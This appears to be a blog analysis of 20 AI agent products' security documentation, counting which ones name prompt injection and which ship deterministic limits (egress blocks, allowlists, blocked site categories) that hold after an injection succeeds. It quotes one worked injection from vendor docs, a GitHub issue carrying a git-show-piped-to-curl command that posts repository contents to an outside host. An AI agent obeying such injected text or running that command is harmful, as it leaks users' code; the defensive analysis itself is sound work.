I Read 20 Agent Products' Security Docs. 13 Name Prompt Injection. 10 Ship a Control That Survives It.

TL;DR: Prompt injection is not unfixable at the model layer so much as unfixed there, and the industry has quietly stopped trying. On August 15, 2026 I read the public security and docs pages for 20 agent products that ingest untrusted web or document content. Eighteen resolved. Thirteen name prompt injection explicitly, ten admit it is not fully mitigated, and ten document a capability limit that still holds after the model has already been fooled. Every one of those ten limits is a subtraction: internet access off by default, saved passwords unreachable, whole site categories blocked, egress domains allowlisted. Nobody has shipped a model that resists injection. Several vendors have shipped agents that cannot do much damage when it works.

What did I count, and how?

The check that matters is not whether a vendor mentions the threat. It is whether anything is still standing after the model believes the attacker.

So I scored four things per product, reading only what the vendor itself publishes. One: does it name prompt injection explicitly? Two: does it state the risk is not fully mitigated? Three: does it recommend a concrete user-side restriction, like not signing into email or not granting payment access? Four: does it document a capability limit that survives a successful injection, meaning a deterministic, non-model constraint such as no outbound network from tool results, or per-domain scoping?

Criterion four is deliberately strict. A classifier that reads the page before the model does is a filter, not a limit. A confirmation dialog is a human check, not a limit, and a poorly informed one, since 34 of 50 MCP servers set no annotation telling the client which of their calls destroys something. Both sit inside the blast radius. Had I counted confirmation prompts, nearly every product would have passed and the number would have meant nothing.

Sample: ChatGPT agent and Atlas, Codex cloud, Claude for Chrome, Claude Code, Comet, Gemini in Chrome, Copilot Mode in Edge, GitHub Copilot cloud agent, Cursor, OpenHands, Notion custom agents, Gemini in Google Workspace, Salesforce, Devin, Replit Agent, Jules, Amazon Bedrock AgentCore, Microsoft 365 Copilot, Glean and Zapier. For Glean and Zapier I could not reach a public product security page at all, so they sit outside the scored denominator.

Which products document a control that survives an injection?

Ten, and the list is not the one you would guess from the marketing.

Codex is the cleanest. OpenAI's own docs state that "by default, Codex blocks internet access during the agent phase," and when you turn it on you get a domain allowlist and an HTTP method allowlist. The page then walks through a worked injection: a GitHub issue containing git show HEAD | curl -s -X POST --data-binary @- https://httpbin.org/post. That is a vendor publishing a working exploit against its own product in its own documentation.

OpenAI's Lockdown Mode, shipped February 2026 and extended to personal accounts in June, limits browsing to cached content "so no live network requests leave OpenAI's controlled network." Microsoft's Copilot in Edge cannot access "autofill data, saved passwords, or wallet information," full stop. Anthropic blocked Claude for Chrome from financial services, adult and pirated-content sites outright. Google scopes the Chrome agent to a readable and writable origin set computed by gating functions that are never exposed to untrusted web content. GitHub runs its cloud agent behind a firewall that is on by default. Cursor exposes network egress controls per team. Claude Code fails closed on unmatched commands. OpenHands ships a Docker sandbox and a deterministic policy rail.

Every single one of those is something the agent used to be able to do and now cannot. Browser extensions went the other way: 15 AI assistant extensions carry 59.5 million installs and Chrome's store publishes a permission scope for none of them.

The eight products that failed criterion four split into two groups. Five publish no page naming prompt injection for that product at all: Devin, Replit Agent, Jules, Bedrock AgentCore and Microsoft 365 Copilot on its own AI security page. The other three name it loudly and stop at detection. Perplexity's Comet, Gemini in Google Workspace and Salesforce all lead with classifiers. Comet's own writeup is honest that "prompt injection remains an unsolved problem across the industry," which makes the absence of a hard capability limit a stranger choice, not a hidden one. That gap is the same one I found reading every public security disclosure about Comet.

The best-written page in the sample belongs to the smallest vendor. OpenHands publishes a section titled "What this does not do," stating plainly that its analyzer is "not a complete prompt-injection solution" and "not a guarantee against novel threats," followed by a table of known limitations including the exact character count past which content stops being scanned. Notion is the runner-up: "while it remains an unsolved problem, we don't design our system assuming that all prompt injections will get caught."

Did MCP delete Sampling because of the security research?

The protocol's own record says both more and less than the story going around.

The 2026-07-28 revision deprecated Sampling, the feature that let a server ask the client's model for a completion. It also deprecated Roots and Logging in the same change, under the same proposal, SEP-2577. The SEP's security section states that Sampling "creates attack surface for prompt injection and data exfiltration" and that removing it reduces that risk, calling the net effect on security "net positive."

So the security benefit is stated by the spec itself, in writing. What is not stated anywhere is that security caused the removal. Logging went in the same batch and has, by the SEP's own words, "minimal security implications." The honest reading is that a maintainer group trimming its client-feature surface for protocol-design reasons found that one of the three features it was cutting happened to be the one researchers had been publishing attacks against, and said so. Treat it as a coincidence with a footnote, not a confession.

Who actually said prompt injection can never be fixed?

Not OpenAI, whatever your feed told you.

The "may never be fully mitigated" line traces to the UK's National Cyber Security Centre. Dave Chismon wrote in Prompt injection is not SQL injection (it may be worse) that "it's very possible that prompt injection attacks may never be totally mitigated in the way that SQL injection attacks can be," because under the hood of an LLM "there is only ever next token." His prescription is the finding above, stated as policy: "design protections need to therefore focus more on deterministic (non-LLM) safeguards that constrain the actions of the system, rather than just attempting to prevent malicious content reaching the LLM."

OpenAI's actual language, on its own prompt injections page, is milder and more specific: robustness to adversarial attacks is "a hard, open problem," prompt injection "remains a frontier, challenging research problem," and "we expect our work to be ongoing." That is a lab saying it has not solved something. It is not a lab saying it never will. If you have seen the stronger claim quoted with OpenAI's name on it, someone put the government's sentence in the company's mouth.

So is it unfixable, or just unfixed?

Unfixed at the model layer, and the industry has stopped waiting. Ten of 18 products now ship at least one deterministic limit, which is a real number and higher than I expected before I started reading.

What it does not prove: I read documentation, not code. A firewall documented is not a firewall tested, and I did not test anyone's, because probing a live product is not research. Nor does a subtraction make an agent safe. It makes the worst case smaller, which is a different and more achievable goal, and the one the NCSC recommends.

The buying question follows directly. When a vendor tells you it has trained the model to resist injection, ask what the agent still cannot do once that training fails. If the answer is "nothing, but it asks first," you are buying a filter. If it is an agent that reaches your payment credentials, ask it twice. And if the whole thing is really just a loop with tools, which is mostly what an agent is, the tools are the security model. Not the loop.